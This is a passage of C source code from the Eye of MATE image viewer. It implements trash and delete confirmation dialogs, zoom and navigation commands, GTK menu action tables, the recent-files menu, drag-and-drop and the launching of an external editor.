int response; int n_images; EomImage *image; static gboolean dontaskagain = FALSE; gboolean neverask = FALSE; GtkWidget* dontask_cbutton = NULL; /* Check if the user never wants to be bugged. */ neverask = g_settings_get_boolean (window->priv->ui_settings, EOM_CONF_UI_DISABLE_TRASH_CONFIRMATION); /* Assume agreement, if the user doesn't want to be * asked and the trash is available */ if (can_trash && (dontaskagain || neverask)) return GTK_RESPONSE_OK; n_images = g_list_length (images); if (n_images == 1) { image = EOM_IMAGE (images->data); if (can_trash) { prompt = g_strdup_printf (_("Are you sure you want to move\n\"%s\" to the trash?"), eom_image_get_caption (image)); } else { prompt = g_strdup_printf (_("A trash for \"%s\" couldn't be found. Do you want to remove " "this image permanently?"), eom_image_get_caption (image)); } } else { if (can_trash) { prompt = g_strdup_printf (ngettext("Are you sure you want to move\n" "the selected image to the trash?", "Are you sure you want to move\n" "the %d selected images to the trash?", n_images), n_images); } else { prompt = g_strdup (_("Some of the selected images can't be moved to the trash " "and will be removed permanently. Are you sure you want " "to proceed?")); } } dlg = gtk_message_dialog_new_with_markup (GTK_WINDOW (window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT, GTK_MESSAGE_WARNING, GTK_BUTTONS_NONE, "<span weight=\"bold\" size=\"larger\">%s</span>", prompt); g_free (prompt); gtk_dialog_add_button (GTK_DIALOG (dlg), GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL); if (can_trash) { gtk_dialog_add_button (GTK_DIALOG (dlg), _("Move to _Trash"), GTK_RESPONSE_OK); dontask_cbutton = gtk_check_button_new_with_mnemonic (_("_Do not ask again during this session")); gtk_toggle_button_set_active (GTK_TOGGLE_BUTTON (dontask_cbutton), FALSE); gtk_box_pack_end (GTK_BOX (gtk_dialog_get_content_area (GTK_DIALOG (dlg))), dontask_cbutton, TRUE, TRUE, 0); } else { if (n_images == 1) { gtk_dialog_add_button (GTK_DIALOG (dlg), GTK_STOCK_DELETE, GTK_RESPONSE_OK); } else { gtk_dialog_add_button (GTK_DIALOG (dlg), GTK_STOCK_YES, GTK_RESPONSE_OK); } } gtk_dialog_set_default_response (GTK_DIALOG (dlg), GTK_RESPONSE_OK); gtk_window_set_title (GTK_WINDOW (dlg), ""); gtk_widget_show_all (dlg); response = gtk_dialog_run (GTK_DIALOG (dlg)); /* Only update the property if the user has accepted */ if (can_trash && response == GTK_RESPONSE_OK) dontaskagain = gtk_toggle_button_get_active (GTK_TOGGLE_BUTTON (dontask_cbutton)); /* The checkbutton is destroyed together with the dialog */ gtk_widget_destroy (dlg); return response; } static gboolean move_to_trash_real (EomImage *image, GError **error) { GFile *file; GFileInfo *file_info; gboolean can_trash, result; g_return_val_if_fail (EOM_IS_IMAGE (image), FALSE); file = eom_image_get_file (image); file_info = g_file_query_info (file, G_FILE_ATTRIBUTE_ACCESS_CAN_TRASH, 0, NULL, NULL); if (file_info == NULL) { g_set_error (error, EOM_WINDOW_ERROR, EOM_WINDOW_ERROR_TRASH_NOT_FOUND, _("Couldn't access trash.")); return FALSE; } can_trash = g_file_info_get_attribute_boolean (file_info, G_FILE_ATTRIBUTE_ACCESS_CAN_TRASH); g_object_unref (file_info); if (can_trash) { result = g_file_trash (file, NULL, NULL); if (result == FALSE) { g_set_error (error, EOM_WINDOW_ERROR, EOM_WINDOW_ERROR_TRASH_NOT_FOUND, _("Couldn't access trash.")); } } else { result = g_file_delete (file, NULL, NULL); if (result == FALSE) { g_set_error (error, EOM_WINDOW_ERROR, EOM_WINDOW_ERROR_IO, _("Couldn't delete file")); } } g_object_unref (file); return result; } static void eom_window_cmd_copy_image (GtkAction *action, gpointer user_data) { GtkClipboard *clipboard; EomWindow *window; EomWindowPrivate *priv; EomImage *image; EomClipboardHandler *cbhandler; g_return_if_fail (EOM_IS_WINDOW (user_data)); window = EOM_WINDOW (user_data); priv = window->priv; image = eom_thumb_view_get_first_selected_image (EOM_THUMB_VIEW (priv->thumbview)); g_return_if_fail (EOM_IS_IMAGE (image)); clipboard = gtk_clipboard_get (GDK_SELECTION_CLIPBOARD); cbhandler = eom_clipboard_handler_new (image); // cbhandler will self-destruct when it's not needed anymore eom_clipboard_handler_copy_to_clipboard (cbhandler, clipboard); } static void eom_window_cmd_move_to_trash (GtkAction *action, gpointer user_data) { GList *images; GList *it; EomWindowPrivate *priv; EomListStore *list; int pos; EomImage *img; EomWindow *window; int response; int n_images; gboolean success; gboolean can_trash; g_return_if_fail (EOM_IS_WINDOW (user_data)); window = EOM_WINDOW (user_data); priv = window->priv; list = priv->store; n_images = eom_thumb_view_get_n_selected (EOM_THUMB_VIEW (priv->thumbview)); if (n_images < 1) return; /* save position of selected image after the deletion */ images = eom_thumb_view_get_selected_images (EOM_THUMB_VIEW (priv->thumbview)); g_assert (images != NULL); /* HACK: eom_list_store_get_n_selected return list in reverse order */ images = g_list_reverse (images); can_trash = eom_window_all_images_trasheable (images); if (g_ascii_strcasecmp (gtk_action_get_name (action), "Delete") == 0 || can_trash == FALSE) { response = show_move_to_trash_confirm_dialog (window, images, can_trash); if (response != GTK_RESPONSE_OK) return; } pos = eom_list_store_get_pos_by_image (list, EOM_IMAGE (images->data)); /* FIXME: make a nice progress dialog */ /* Do the work actually. First try to delete the image from the disk. If this * is successfull, remove it from the screen. Otherwise show error dialog. */ for (it = images; it != NULL; it = it->next) { GError *error = NULL; EomImage *image; image = EOM_IMAGE (it->data); success = move_to_trash_real (image, &error); if (success) { eom_list_store_remove_image (list, image); } else { char *header; GtkWidget *dlg; header = g_strdup_printf (_("Error on deleting image %s"), eom_image_get_caption (image)); dlg = gtk_message_dialog_new (GTK_WINDOW (window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT, GTK_MESSAGE_ERROR, GTK_BUTTONS_OK, "%s", header); gtk_message_dialog_format_secondary_text (GTK_MESSAGE_DIALOG (dlg), "%s", error->message); gtk_dialog_run (GTK_DIALOG (dlg)); gtk_widget_destroy (dlg); g_free (header); } } /* free list */ g_list_foreach (images, (GFunc) g_object_unref, NULL); g_list_free (images); /* select image at previously saved position */ pos = MIN (pos, eom_list_store_length (list) - 1); if (pos >= 0) { img = eom_list_store_get_image_by_pos (list, pos); eom_thumb_view_set_current_image (EOM_THUMB_VIEW (priv->thumbview), img, TRUE); if (img != NULL) { g_object_unref (img); } } } static void eom_window_cmd_fullscreen (GtkAction *action, gpointer user_data) { EomWindow *window; gboolean fullscreen; g_return_if_fail (EOM_IS_WINDOW (user_data)); eom_debug (DEBUG_WINDOW); window = EOM_WINDOW (user_data); fullscreen = gtk_toggle_action_get_active (GTK_TOGGLE_ACTION (action)); if (fullscreen) { eom_window_run_fullscreen (window, FALSE); } else { eom_window_stop_fullscreen (window, FALSE); } } static void eom_window_cmd_slideshow (GtkAction *action, gpointer user_data) { EomWindow *window; gboolean slideshow; g_return_if_fail (EOM_IS_WINDOW (user_data)); eom_debug (DEBUG_WINDOW); window = EOM_WINDOW (user_data); slideshow = gtk_toggle_action_get_active (GTK_TOGGLE_ACTION (action)); if (slideshow) { eom_window_run_fullscreen (window, TRUE); } else { eom_window_stop_fullscreen (window, TRUE); } } static void eom_window_cmd_pause_slideshow (GtkAction *action, gpointer user_data) { EomWindow *window; gboolean slideshow; g_return_if_fail (EOM_IS_WINDOW (user_data)); eom_debug (DEBUG_WINDOW); window = EOM_WINDOW (user_data); slideshow = window->priv->mode == EOM_WINDOW_MODE_SLIDESHOW; if (!slideshow && window->priv->mode != EOM_WINDOW_MODE_FULLSCREEN) return; eom_window_run_fullscreen (window, !slideshow); } static void eom_window_cmd_zoom_in (GtkAction *action, gpointer user_data) { EomWindowPrivate *priv; g_return_if_fail (EOM_IS_WINDOW (user_data)); eom_debug (DEBUG_WINDOW); priv = EOM_WINDOW (user_data)->priv; if (priv->view) { eom_scroll_view_zoom_in (EOM_SCROLL_VIEW (priv->view), FALSE); } } static void eom_window_cmd_zoom_out (GtkAction *action, gpointer user_data) { EomWindowPrivate *priv; g_return_if_fail (EOM_IS_WINDOW (user_data)); eom_debug (DEBUG_WINDOW); priv = EOM_WINDOW (user_data)->priv; if (priv->view) { eom_scroll_view_zoom_out (EOM_SCROLL_VIEW (priv->view), FALSE); } } static void eom_window_cmd_zoom_normal (GtkAction *action, gpointer user_data) { EomWindowPrivate *priv; g_return_if_fail (EOM_IS_WINDOW (user_data)); eom_debug (DEBUG_WINDOW); priv = EOM_WINDOW (user_data)->priv; if (priv->view) { eom_scroll_view_set_zoom (EOM_SCROLL_VIEW (priv->view), 1.0); } } static void eom_window_cmd_zoom_fit (GtkAction *action, gpointer user_data) { EomWindowPrivate *priv; g_return_if_fail (EOM_IS_WINDOW (user_data)); eom_debug (DEBUG_WINDOW); priv = EOM_WINDOW (user_data)->priv; if (priv->view) { eom_scroll_view_zoom_fit (EOM_SCROLL_VIEW (priv->view)); } } static void eom_window_cmd_go_prev (GtkAction *action, gpointer user_data) { EomWindowPrivate *priv; g_return_if_fail (EOM_IS_WINDOW (user_data)); eom_debug (DEBUG_WINDOW); priv = EOM_WINDOW (user_data)->priv; eom_thumb_view_select_single (EOM_THUMB_VIEW (priv->thumbview), EOM_THUMB_VIEW_SELECT_LEFT); } static void eom_window_cmd_go_next (GtkAction *action, gpointer user_data) { EomWindowPrivate *priv; g_return_if_fail (EOM_IS_WINDOW (user_data)); eom_debug (DEBUG_WINDOW); priv = EOM_WINDOW (user_data)->priv; eom_thumb_view_select_single (EOM_THUMB_VIEW (priv->thumbview), EOM_THUMB_VIEW_SELECT_RIGHT); } static void eom_window_cmd_go_first (GtkAction *action, gpointer user_data) { EomWindowPrivate *priv; g_return_if_fail (EOM_IS_WINDOW (user_data)); eom_debug (DEBUG_WINDOW); priv = EOM_WINDOW (user_data)->priv; eom_thumb_view_select_single (EOM_THUMB_VIEW (priv->thumbview), EOM_THUMB_VIEW_SELECT_FIRST); } static void eom_window_cmd_go_last (GtkAction *action, gpointer user_data) { EomWindowPrivate *priv; g_return_if_fail (EOM_IS_WINDOW (user_data)); eom_debug (DEBUG_WINDOW); priv = EOM_WINDOW (user_data)->priv; eom_thumb_view_select_single (EOM_THUMB_VIEW (priv->thumbview), EOM_THUMB_VIEW_SELECT_LAST); } static void eom_window_cmd_go_random (GtkAction *action, gpointer user_data) { EomWindowPrivate *priv; g_return_if_fail (EOM_IS_WINDOW (user_data)); eom_debug (DEBUG_WINDOW); priv = EOM_WINDOW (user_data)->priv; eom_thumb_view_select_single (EOM_THUMB_VIEW (priv->thumbview), EOM_THUMB_VIEW_SELECT_RANDOM); } static const GtkActionEntry action_entries_window[] = { { "Image", NULL, N_("_Image") }, { "Edit", NULL, N_("_Edit") }, { "View", NULL, N_("_View") }, { "Go", NULL, N_("_Go") }, { "Tools", NULL, N_("_Tools") }, { "Help", NULL, N_("_Help") }, { "ImageOpen", GTK_STOCK_OPEN, N_("_Open…"), "<control>O", N_("Open a file"), G_CALLBACK (eom_window_cmd_file_open) }, { "ImageClose", GTK_STOCK_CLOSE, N_("_Close"), "<control>W", N_("Close window"), G_CALLBACK (eom_window_cmd_close_window) }, { "EditToolbar", NULL, N_("T_oolbar"), NULL, N_("Edit the application toolbar"), G_CALLBACK (eom_window_cmd_edit_toolbar) }, { "EditPreferences", GTK_STOCK_PREFERENCES, N_("Prefere_nces"), NULL, N_("Preferences for Eye of MATE"), G_CALLBACK (eom_window_cmd_preferences) }, { "HelpManual", GTK_STOCK_HELP, N_("_Contents"), "F1", N_("Help on this application"), G_CALLBACK (eom_window_cmd_help) }, { "HelpAbout", GTK_STOCK_ABOUT, N_("_About"), NULL, N_("About this application"), G_CALLBACK (eom_window_cmd_about) } }; static const GtkToggleActionEntry toggle_entries_window[] = { { "ViewToolbar", NULL, N_("_Toolbar"), NULL, N_("Changes the visibility of the toolbar in the current window"), G_CALLBACK (eom_window_cmd_show_hide_bar), TRUE }, { "ViewStatusbar", NULL, N_("_Statusbar"), NULL, N_("Changes the visibility of the statusbar in the current window"), G_CALLBACK (eom_window_cmd_show_hide_bar), TRUE }, { "ViewImageCollection", "eom-image-collection", N_("_Image Collection"), "F9", N_("Changes the visibility of the image collection pane in the current window"), G_CALLBACK (eom_window_cmd_show_hide_bar), TRUE }, { "ViewSidebar", NULL, N_("Side _Pane"), "<control>F9", N_("Changes the visibility of the side pane in the current window"), G_CALLBACK (eom_window_cmd_show_hide_bar), TRUE }, }; static const GtkActionEntry action_entries_image[] = { { "ImageSave", GTK_STOCK_SAVE, N_("_Save"), "<control>s", N_("Save changes in currently selected images"), G_CALLBACK (eom_window_cmd_save) }, { "ImageOpenWith", NULL, N_("Open _with"), NULL, N_("Open the selected image with a different application"), NULL}, { "ImageSaveAs", GTK_STOCK_SAVE_AS, N_("Save _As…"), "<control><shift>s", N_("Save the selected images with a different name"), G_CALLBACK (eom_window_cmd_save_as) }, { "ImagePrint", GTK_STOCK_PRINT, N_("_Print…"), "<control>p", N_("Print the selected image"), G_CALLBACK (eom_window_cmd_print) }, { "ImageProperties", GTK_STOCK_PROPERTIES, N_("Prope_rties"), "<alt>Return", N_("Show the properties and metadata of the selected image"), G_CALLBACK (eom_window_cmd_properties) }, { "EditUndo", GTK_STOCK_UNDO, N_("_Undo"), "<control>z", N_("Undo the last change in the image"), G_CALLBACK (eom_window_cmd_undo) }, { "EditFlipHorizontal", "object-flip-horizontal", N_("Flip _Horizontal"), NULL, N_("Mirror the image horizontally"), G_CALLBACK (eom_window_cmd_flip_horizontal) }, { "EditFlipVertical", "object-flip-vertical", N_("Flip _Vertical"), NULL, N_("Mirror the image vertically"), G_CALLBACK (eom_window_cmd_flip_vertical) }, { "EditRotate90", "object-rotate-right", N_("_Rotate Clockwise"), "<control>r", N_("Rotate the image 90 degrees to the right"), G_CALLBACK (eom_window_cmd_rotate_90) }, { "EditRotate270", "object-rotate-left", N_("Rotate Counterc_lockwise"), "<ctrl><shift>r", N_("Rotate the image 90 degrees to the left"), G_CALLBACK (eom_window_cmd_rotate_270) }, { "ImageSetAsWallpaper", NULL, N_("Set as _Desktop Background"), "<control>F8", N_("Set the selected image as the desktop background"), G_CALLBACK (eom_window_cmd_wallpaper) }, { "EditMoveToTrash", "user-trash", N_("Move to _Trash"), NULL, N_("Move the selected image to the trash folder"), G_CALLBACK (eom_window_cmd_move_to_trash) }, { "EditCopyImage", "edit-copy", N_("_Copy"), "<control>C", N_("Copy the selected image to the clipboard"), G_CALLBACK (eom_window_cmd_copy_image) }, { "ViewZoomIn", GTK_STOCK_ZOOM_IN, N_("_Zoom In"), "<control>plus", N_("Enlarge the image"), G_CALLBACK (eom_window_cmd_zoom_in) }, { "ViewZoomOut", GTK_STOCK_ZOOM_OUT, N_("Zoom _Out"), "<control>minus", N_("Shrink the image"), G_CALLBACK (eom_window_cmd_zoom_out) }, { "ViewZoomNormal", GTK_STOCK_ZOOM_100, N_("_Normal Size"), "<control>0", N_("Show the image at its normal size"), G_CALLBACK (eom_window_cmd_zoom_normal) }, { "ViewZoomFit", GTK_STOCK_ZOOM_FIT, N_("_Best Fit"), "F", N_("Fit the image to the window"), G_CALLBACK (eom_window_cmd_zoom_fit) }, { "ControlEqual", GTK_STOCK_ZOOM_IN, N_("_Zoom In"), "<control>equal", N_("Enlarge the image"), G_CALLBACK (eom_window_cmd_zoom_in) }, { "ControlKpAdd", GTK_STOCK_ZOOM_IN, N_("_Zoom In"), "<control>KP_Add", N_("Shrink the image"), G_CALLBACK (eom_window_cmd_zoom_in) }, { "ControlKpSub", GTK_STOCK_ZOOM_OUT, N_("Zoom _Out"), "<control>KP_Subtract", N_("Shrink the image"), G_CALLBACK (eom_window_cmd_zoom_out) }, { "Delete", NULL, N_("Move to _Trash"), "Delete", NULL, G_CALLBACK (eom_window_cmd_move_to_trash) }, }; static const GtkToggleActionEntry toggle_entries_image[] = { { "ViewFullscreen", GTK_STOCK_FULLSCREEN, N_("_Fullscreen"), "F11", N_("Show the current image in fullscreen mode"), G_CALLBACK (eom_window_cmd_fullscreen), FALSE }, { "PauseSlideshow", "media-playback-pause", N_("Pause Slideshow"), NULL, N_("Pause or resume the slideshow"), G_CALLBACK (eom_window_cmd_pause_slideshow), FALSE }, }; static const GtkActionEntry action_entries_collection[] = { { "GoPrevious", GTK_STOCK_GO_BACK, N_("_Previous Image"), "<Alt>Left", N_("Go to the previous image of the collection"), G_CALLBACK (eom_window_cmd_go_prev) }, { "GoNext", GTK_STOCK_GO_FORWARD, N_("_Next Image"), "<Alt>Right", N_("Go to the next image of the collection"), G_CALLBACK (eom_window_cmd_go_next) }, { "GoFirst", GTK_STOCK_GOTO_FIRST, N_("_First Image"), "<Alt>Home", N_("Go to the first image of the collection"), G_CALLBACK (eom_window_cmd_go_first) }, { "GoLast", GTK_STOCK_GOTO_LAST, N_("_Last Image"), "<Alt>End", N_("Go to the last image of the collection"), G_CALLBACK (eom_window_cmd_go_last) }, { "GoRandom", NULL, N_("_Random Image"), "<control>M", N_("Go to a random image of the collection"), G_CALLBACK (eom_window_cmd_go_random) }, { "BackSpace", NULL, N_("_Previous Image"), "BackSpace", NULL, G_CALLBACK (eom_window_cmd_go_prev) }, { "Home", NULL, N_("_First Image"), "Home", NULL, G_CALLBACK (eom_window_cmd_go_first) }, { "End", NULL, N_("_Last Image"), "End", NULL, G_CALLBACK (eom_window_cmd_go_last) }, }; static const GtkToggleActionEntry toggle_entries_collection[] = { { "ViewSlideshow", "slideshow-play", N_("S_lideshow"), "F5", N_("Start a slideshow view of the images"), G_CALLBACK (eom_window_cmd_slideshow), FALSE }, }; static void menu_item_select_cb (GtkMenuItem *proxy, EomWindow *window) { GtkAction *action; char *message; action = gtk_activatable_get_related_action (GTK_ACTIVATABLE (proxy)); g_return_if_fail (action != NULL); g_object_get (G_OBJECT (action), "tooltip", &message, NULL); if (message) { gtk_statusbar_push (GTK_STATUSBAR (window->priv->statusbar), window->priv->tip_message_cid, message); g_free (message); } } static void menu_item_deselect_cb (GtkMenuItem *proxy, EomWindow *window) { gtk_statusbar_pop (GTK_STATUSBAR (window->priv->statusbar), window->priv->tip_message_cid); } static void connect_proxy_cb (GtkUIManager *manager, GtkAction *action, GtkWidget *proxy, EomWindow *window) { if (GTK_IS_MENU_ITEM (proxy)) { g_signal_connect (proxy, "select", G_CALLBACK (menu_item_select_cb), window); g_signal_connect (proxy, "deselect", G_CALLBACK (menu_item_deselect_cb), window); } } static void disconnect_proxy_cb (GtkUIManager *manager, GtkAction *action, GtkWidget *proxy, EomWindow *window) { if (GTK_IS_MENU_ITEM (proxy)) { g_signal_handlers_disconnect_by_func (proxy, G_CALLBACK (menu_item_select_cb), window); g_signal_handlers_disconnect_by_func (proxy, G_CALLBACK (menu_item_deselect_cb), window); } } static void set_action_properties (GtkActionGroup *window_group, GtkActionGroup *image_group, GtkActionGroup *collection_group) { GtkAction *action; action = gtk_action_group_get_action (collection_group, "GoPrevious"); g_object_set (action, "short_label", _("Previous"), NULL); g_object_set (action, "is-important", TRUE, NULL); action = gtk_action_group_get_action (collection_group, "GoNext"); g_object_set (action, "short_label", _("Next"), NULL); g_object_set (action, "is-important", TRUE, NULL); action = gtk_action_group_get_action (image_group, "EditRotate90"); g_object_set (action, "short_label", _("Right"), NULL); action = gtk_action_group_get_action (image_group, "EditRotate270"); g_object_set (action, "short_label", _("Left"), NULL); action = gtk_action_group_get_action (image_group, "ViewZoomIn"); g_object_set (action, "short_label", _("In"), NULL); action = gtk_action_group_get_action (image_group, "ViewZoomOut"); g_object_set (action, "short_label", _("Out"), NULL); action = gtk_action_group_get_action (image_group, "ViewZoomNormal"); g_object_set (action, "short_label", _("Normal"), NULL); action = gtk_action_group_get_action (image_group, "ViewZoomFit"); g_object_set (action, "short_label", _("Fit"), NULL); action = gtk_action_group_get_action (window_group, "ViewImageCollection"); g_object_set (action, "short_label", _("Collection"), NULL); action = gtk_action_group_get_action (image_group, "EditMoveToTrash"); g_object_set (action, "short_label", C_("action (to trash)", "Trash"), NULL); } static gint sort_recents_mru (GtkRecentInfo *a, GtkRecentInfo *b) { gboolean has_eom_a, has_eom_b; /* We need to check this first as gtk_recent_info_get_application_info * will treat it as a non-fatal error when the GtkRecentInfo doesn't * have the application registered. */ has_eom_a = gtk_recent_info_has_application (a, EOM_RECENT_FILES_APP_NAME); has_eom_b = gtk_recent_info_has_application (b, EOM_RECENT_FILES_APP_NAME); if (has_eom_a && has_eom_b) { time_t time_a, time_b; /* These should not fail as we already checked that * the application is registered with the info objects */ gtk_recent_info_get_application_info (a, EOM_RECENT_FILES_APP_NAME, NULL, NULL, &time_a); gtk_recent_info_get_application_info (b, EOM_RECENT_FILES_APP_NAME, NULL, NULL, &time_b); return (time_b - time_a); } else if (has_eom_a) { return -1; } else if (has_eom_b) { return 1; } return 0; } static void eom_window_update_recent_files_menu (EomWindow *window) { EomWindowPrivate *priv; GList *actions = NULL, *li = NULL, *items = NULL; guint count_recent = 0; priv = window->priv; if (priv->recent_menu_id != 0) gtk_ui_manager_remove_ui (priv->ui_mgr, priv->recent_menu_id); actions = gtk_action_group_list_actions (priv->actions_recent); for (li = actions; li != NULL; li = li->next) { g_signal_handlers_disconnect_by_func (GTK_ACTION (li->data), G_CALLBACK(eom_window_open_recent_cb), window); gtk_action_group_remove_action (priv->actions_recent, GTK_ACTION (li->data)); } g_list_free (actions); priv->recent_menu_id = gtk_ui_manager_new_merge_id (priv->ui_mgr); items = gtk_recent_manager_get_items (gtk_recent_manager_get_default()); items = g_list_sort (items, (GCompareFunc) sort_recents_mru); for (li = items; li != NULL && count_recent < EOM_RECENT_FILES_LIMIT; li = li->next) { gchar *action_name; gchar *label; gchar *tip; gchar **display_name; gchar *label_filename; GtkAction *action; GtkRecentInfo *info = li->data; /* Sorting moves non-EOM files to the end of the list. * So no file of interest will follow if this test fails */ if (!gtk_recent_info_has_application (info, EOM_RECENT_FILES_APP_NAME)) break; count_recent++; action_name = g_strdup_printf ("recent-info-%d", count_recent); display_name = g_strsplit (gtk_recent_info_get_display_name (info), "_", -1); label_filename = g_strjoinv ("__", display_name); label = g_strdup_printf ("%s_%d. %s", (is_rtl ? "\xE2\x80\x8F" : ""), count_recent, label_filename); g_free (label_filename); g_strfreev (display_name); tip = gtk_recent_info_get_uri_display (info); /* This is a workaround for a bug (#351945) regarding * gtk_recent_info_get_uri_display() and remote URIs. * mate_vfs_format_uri_for_display is sufficient here * since the password gets stripped when adding the * file to the recently used list. */ if (tip == NULL) tip = g_uri_unescape_string (gtk_recent_info_get_uri (info), NULL); action = gtk_action_new (action_name, label, tip, NULL); gtk_action_set_always_show_image (action, TRUE); g_object_set_data_full (G_OBJECT (action), "gtk-recent-info", gtk_recent_info_ref (info), (GDestroyNotify) gtk_recent_info_unref); g_object_set (G_OBJECT (action), "icon-name", "image-x-generic", NULL); g_signal_connect (action, "activate", G_CALLBACK (eom_window_open_recent_cb), window); gtk_action_group_add_action (priv->actions_recent, action); g_object_unref (action); gtk_ui_manager_add_ui (priv->ui_mgr, priv->recent_menu_id, "/MainMenu/Image/RecentDocuments", action_name, action_name, GTK_UI_MANAGER_AUTO, FALSE); g_free (action_name); g_free (label); g_free (tip); } g_list_foreach (items, (GFunc) gtk_recent_info_unref, NULL); g_list_free (items); } static void eom_window_recent_manager_changed_cb (GtkRecentManager *manager, EomWindow *window) { eom_window_update_recent_files_menu (window); } static void eom_window_drag_data_received (GtkWidget *widget, GdkDragContext *context, gint x, gint y, GtkSelectionData *selection_data, guint info, guint time) { GSList *file_list; EomWindow *window; GdkAtom target; GtkWidget *src; target = gtk_selection_data_get_target (selection_data); if (!gtk_targets_include_uri (&target, 1)) return; /* if the request is from another process this will return NULL */ src = gtk_drag_get_source_widget (context); /* if the drag request originates from the current eom instance, ignore the request if the source window is the same as the dest window */ if (src && gtk_widget_get_toplevel (src) == gtk_widget_get_toplevel (widget)) { gdk_drag_status (context, 0, time); return; } if (gdk_drag_context_get_suggested_action (context) == GDK_ACTION_COPY) { window = EOM_WINDOW (widget); file_list = eom_util_parse_uri_string_list_to_file_list ((const gchar *) gtk_selection_data_get_data (selection_data)); eom_window_open_file_list (window, file_list); } } static void eom_window_set_drag_dest (EomWindow *window) { gtk_drag_dest_set (GTK_WIDGET (window), GTK_DEST_DEFAULT_MOTION | GTK_DEST_DEFAULT_DROP, NULL, 0, GDK_ACTION_COPY | GDK_ACTION_ASK); gtk_drag_dest_add_uri_targets (GTK_WIDGET (window)); } static void eom_window_sidebar_visibility_changed (GtkWidget *widget, EomWindow *window) { GtkAction *action; gboolean visible; visible = gtk_widget_get_visible (window->priv->sidebar); g_settings_set_boolean (window->priv->ui_settings, EOM_CONF_UI_SIDEBAR, visible); action = gtk_action_group_get_action (window->priv->actions_window, "ViewSidebar"); if (gtk_toggle_action_get_active (GTK_TOGGLE_ACTION (action)) != visible) gtk_toggle_action_set_active (GTK_TOGGLE_ACTION (action), visible); /* Focus the image */ if (!visible && window->priv->image != NULL) gtk_widget_grab_focus (window->priv->view); } static void eom_window_sidebar_page_added (EomSidebar *sidebar, GtkWidget *main_widget, EomWindow *window) { if (eom_sidebar_get_n_pages (sidebar) == 1) { GtkAction *action; gboolean show; action = gtk_action_group_get_action (window->priv->actions_window, "ViewSidebar"); gtk_action_set_sensitive (action, TRUE); show = gtk_toggle_action_get_active (GTK_TOGGLE_ACTION (action)); if (show) gtk_widget_show (GTK_WIDGET (sidebar)); } } static void eom_window_sidebar_page_removed (EomSidebar *sidebar, GtkWidget *main_widget, EomWindow *window) { if (eom_sidebar_is_empty (sidebar)) { GtkAction *action; gtk_widget_hide (GTK_WIDGET (sidebar)); action = gtk_action_group_get_action (window->priv->actions_window, "ViewSidebar"); gtk_action_set_sensitive (action, FALSE); } } static void eom_window_finish_saving (EomWindow *window) { EomWindowPrivate *priv = window->priv; gtk_widget_set_sensitive (GTK_WIDGET (window), FALSE); do { gtk_main_iteration (); } while (priv->save_job != NULL); } static GAppInfo * get_appinfo_for_editor (EomWindow *window) { /* We want this function to always return the same thing, not * just for performance reasons, but because if someone edits * GConf while eom is running, the application could get into an * inconsistent state. If the editor exists once, it gets added * to the "available" list of the EggToolbarsModel (for which * there is no API to remove it). If later the editor no longer * existed when constructing a new window, we'd be unable to * construct a GtkAction for the editor for that window, causing * assertion failures when viewing the "Edit Toolbars" dialog * (item is available, but can't find the GtkAction for it). * * By ensuring we keep the GAppInfo around, we avoid the * possibility of that situation occuring. */ static GDesktopAppInfo *app_info = NULL; static gboolean initialised; if (!initialised) { gchar *editor; editor = g_settings_get_string (window->priv->ui_settings, EOM_CONF_UI_EXTERNAL_EDITOR); if (editor != NULL) { app_info = g_desktop_app_info_new (editor); } initialised = TRUE; g_free (editor); } return (GAppInfo *) app_info; } static void eom_window_open_editor (GtkAction *action, EomWindow *window) { GdkAppLaunchContext *context; GAppInfo *app_info; GList files; app_info = get_appinfo_for_editor (window); if (app_info == NULL) return; #if GTK_CHECK_VERSION (3, 0, 0) context = gdk_display_get_app_launch_context ( gtk_widget_get_display (GTK_WIDGET (window))); #else context = gdk_app_launch_context_new (); #endif gdk_app_launch_context_set_screen (context, gtk_widget_get_screen (GTK_WIDGET (window))); gdk_app_launch_context_set_icon (context, g_app_info_get_icon (app_info)); gdk_app_launch_context_set_timestamp (context, gtk_get_current_event_time ()); { GList f = { eom_image_get_file (window->priv->image) }; files = f; } g_app_info_launch (app_info, &files, G_APP_LAUNCH_CONTEXT (context), NULL); g_object_unref (files.data); g_object_unref (context); } static void eom_window_add_open_editor_action (EomWindow *window) { EggToolbarsModel *model; GAppInfo *app_info; GtkAction *action; gchar *tooltip; app_info = get_appinfo_for_editor (window); if (app_info == NULL) return; model = eom_application_get_toolbars_model (EOM_APP); egg_toolbars_model_set_name_flags (model, "OpenEditor", EGG_TB_MODEL_NAME_KNOWN); tooltip = g_strdup_printf (_("Edit the current image using %s"), g_app_info_get_name (app_info)); action = gtk_action_new ("OpenEditor", _("Edit Image"), tooltip, NULL); gtk_action_set_gicon (action, g_app_info_get_icon (app_info)); gtk_action_set_is_important (action, TRUE); g_signal_connect (action, "activate", G_CALLBACK (eom_window_open_editor), window); gtk_action_group_add_action (window->priv->actions_image, action); g_object_unref (action); g_free (tooltip); } static void eom_window_construct_ui (EomWindow *window) { EomWindowPrivate *priv; GError *error = NULL; GtkWidget *menubar; GtkWidget *thumb_popup; GtkWidget *view_popup; GtkWidget *hpaned; GtkWidget *menuitem; g_return_if_fail (EOM_IS_WINDOW (window)); priv = window->priv; priv->box = gtk_vbox_new (FALSE, 0); gtk_container_add (GTK_CONTAINER (window), priv->box); gtk_widget_show (priv->box); priv->ui_mgr = gtk_ui_manager_new (); priv->actions_window = gtk_action_group_new ("MenuActionsWindow"); gtk_action_group_set_translation_domain (priv->actions_window, GETTEXT_PACKAGE); gtk_action_group_add_actions (priv->actions_window, action_entries_window, G_N_ELEMENTS (action_entries_window), window); gtk_action_group_add_toggle_actions (priv->actions_window, toggle_entries_window, G_N_ELEMENTS (toggle_entries_window), window); gtk_ui_manager_insert_action_group (priv->ui_mgr, priv->actions_window, 0); priv->actions_image = gtk_action_group_new ("MenuActionsImage"); gtk_action_group_set_translation_domain (priv->actions_image, GETTEXT_PACKAGE); gtk_action_group_add_actions (priv->actions_image, action_entries_image, G_N_ELEMENTS (action_entries_image), window); eom_window_add_open_editor_action (window); gtk_action_group_add_toggle_actions (priv->actions_image, toggle_entries_image, G_N_ELEMENTS (toggle_entries_image), window); gtk_ui_manager_insert_action_group (priv->ui_mgr, priv->actions_image, 0); priv->actions_collection = gtk_action_group_new ("MenuActionsCollection"); gtk_action_group_set_translation_domain (priv->actions_collection, GETTEXT_PACKAGE); gtk_action_group_add_actions (priv->actions_collection, action_entries_collection, G_N_ELEMENTS (action_entries_collection), window); 